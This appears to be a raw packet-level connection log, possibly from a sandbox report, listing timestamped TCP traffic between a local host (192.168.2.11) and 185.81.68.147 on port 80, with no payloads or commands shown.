Dec 13, 2024 08:20:08.068635941 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.068716049 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.068727970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.068774939 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.070878983 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.070969105 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.070998907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.071044922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.073084116 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.073191881 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.073251009 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.075352907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.075444937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.075467110 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.075479984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.077616930 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.077677965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.077725887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.077775002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.079818010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.079894066 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.079966068 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.080009937 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.082112074 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.082142115 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.082190037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.084336996 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.084391117 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.084413052 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.084517002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.086564064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.086649895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.086652040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.086690903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.088753939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.088821888 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.088864088 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.088924885 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.091013908 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.091094971 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.091159105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.091207027 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.093215942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.093290091 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.093331099 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.093379021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.095495939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.095550060 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.095578909 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.095612049 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.097776890 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.097851038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.097876072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.097935915 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.099973917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.100029945 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.100121975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.100167036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.102195978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.102288961 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.102300882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.102399111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.104551077 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.104603052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.104669094 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.104912996 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.106663942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.106709003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.106784105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.106864929 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.108942986 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.108989954 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.109023094 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.109057903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.111146927 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.111244917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.111290932 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.113392115 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.113440990 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.113528013 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.113718033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.115611076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.115664005 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.115673065 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.115710020 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.117836952 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.117937088 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.117969036 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.118005991 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.120068073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.120146036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.120181084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.120428085 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.122400999 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.122477055 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.122518063 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.122555971 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.124552011 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.124634027 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.124658108 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.124697924 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.126817942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.126904964 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.126935005 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.126982927 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.129050016 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.129127026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.129132032 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.129173994 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.131273985 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.131350040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.131376028 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.131427050 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.133521080 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.133598089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.133601904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.133641005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.135796070 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.135864973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.135895967 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.135938883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.137959003 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.138006926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.138048887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.138092041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.140239954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.140274048 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.140316010 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.140367031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.142482996 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.142550945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.142627954 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.144690037 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.144764900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.144834042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.144881964 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.146904945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.146965027 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.147008896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.147051096 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.149152040 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.149175882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.149211884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.149239063 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.151402950 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.151473999 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.151499033 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.151540041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.153639078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.153670073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.153856039 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.155859947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.155961990 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.156023026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.158127069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.158199072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.158217907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.158349991 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.160337925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.160454988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.160481930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.160512924 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.162570953 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.162617922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.162718058 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.162763119 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.164853096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.164974928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.165024042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.167083979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.167162895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.167165995 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.167216063 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.169261932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.169306040 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.169306993 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.169349909 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.238328934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.238368034 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.238447905 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.238800049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.238848925 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.238924026 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.240673065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.240741014 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.240756989 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.240802050 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.242507935 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.242569923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.242674112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.242716074 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.244371891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.244488001 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.244527102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.244527102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.246213913 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.246260881 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.246344090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.246395111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.248024940 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.248095989 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.248161077 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.248238087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.249830961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.249892950 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.249974966 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.250581026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.251594067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.251668930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.251714945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.251770973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.253354073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.253423929 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.253436089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.253482103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.255069017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.255111933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.255198002 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.255258083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.256763935 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.256813049 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.256874084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.256917953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.258430004 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.258474112 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.258541107 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.258582115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.260135889 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.260201931 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.260262012 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.260310888 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.261774063 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.261861086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.261862040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.261900902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.263406992 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.263453960 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.263520956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.263566017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.265033960 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.265125036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.265136003 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.265172958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.266653061 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.266679049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.266712904 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.266737938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.268233061 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.268326998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.268338919 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.268382072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.269874096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.269920111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.269952059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.269998074 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.271384954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.271449089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.271563053 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.271606922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.272960901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.273016930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.273093939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.273144960 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.274530888 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.274574041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.274600029 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.274636030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.276108980 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.276153088 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.276202917 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.276202917 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.277546883 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.277662039 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.277714014 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.279071093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.279139042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.279176950 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.279226065 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.280630112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.280689955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.280791998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.280846119 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.282130957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.282179117 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.282202959 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.282272100 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.283546925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.283610106 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.283647060 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.283689976 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.285072088 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.285125017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.285135031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.285167933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.286514997 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.286581993 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.286612988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.286688089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.287981987 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.288060904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.288068056 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.288100958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.289388895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.289439917 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.289478064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.289520979 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.290936947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.290997028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.291013956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.291079998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.292272091 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.292318106 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.292459011 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.292499065 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.293689966 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.293740988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.293828964 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.293867111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.295150995 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.295176029 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.295195103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.295217037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.296540976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.296672106 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.296685934 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.296717882 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.297949076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.298022032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.298063993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.298108101 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.299457073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.299510002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.299576998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.299645901 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.300848961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.300916910 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.300926924 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.300970078 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.302259922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.302316904 CET	49938	80	192.168.2.11	185.81.68.147
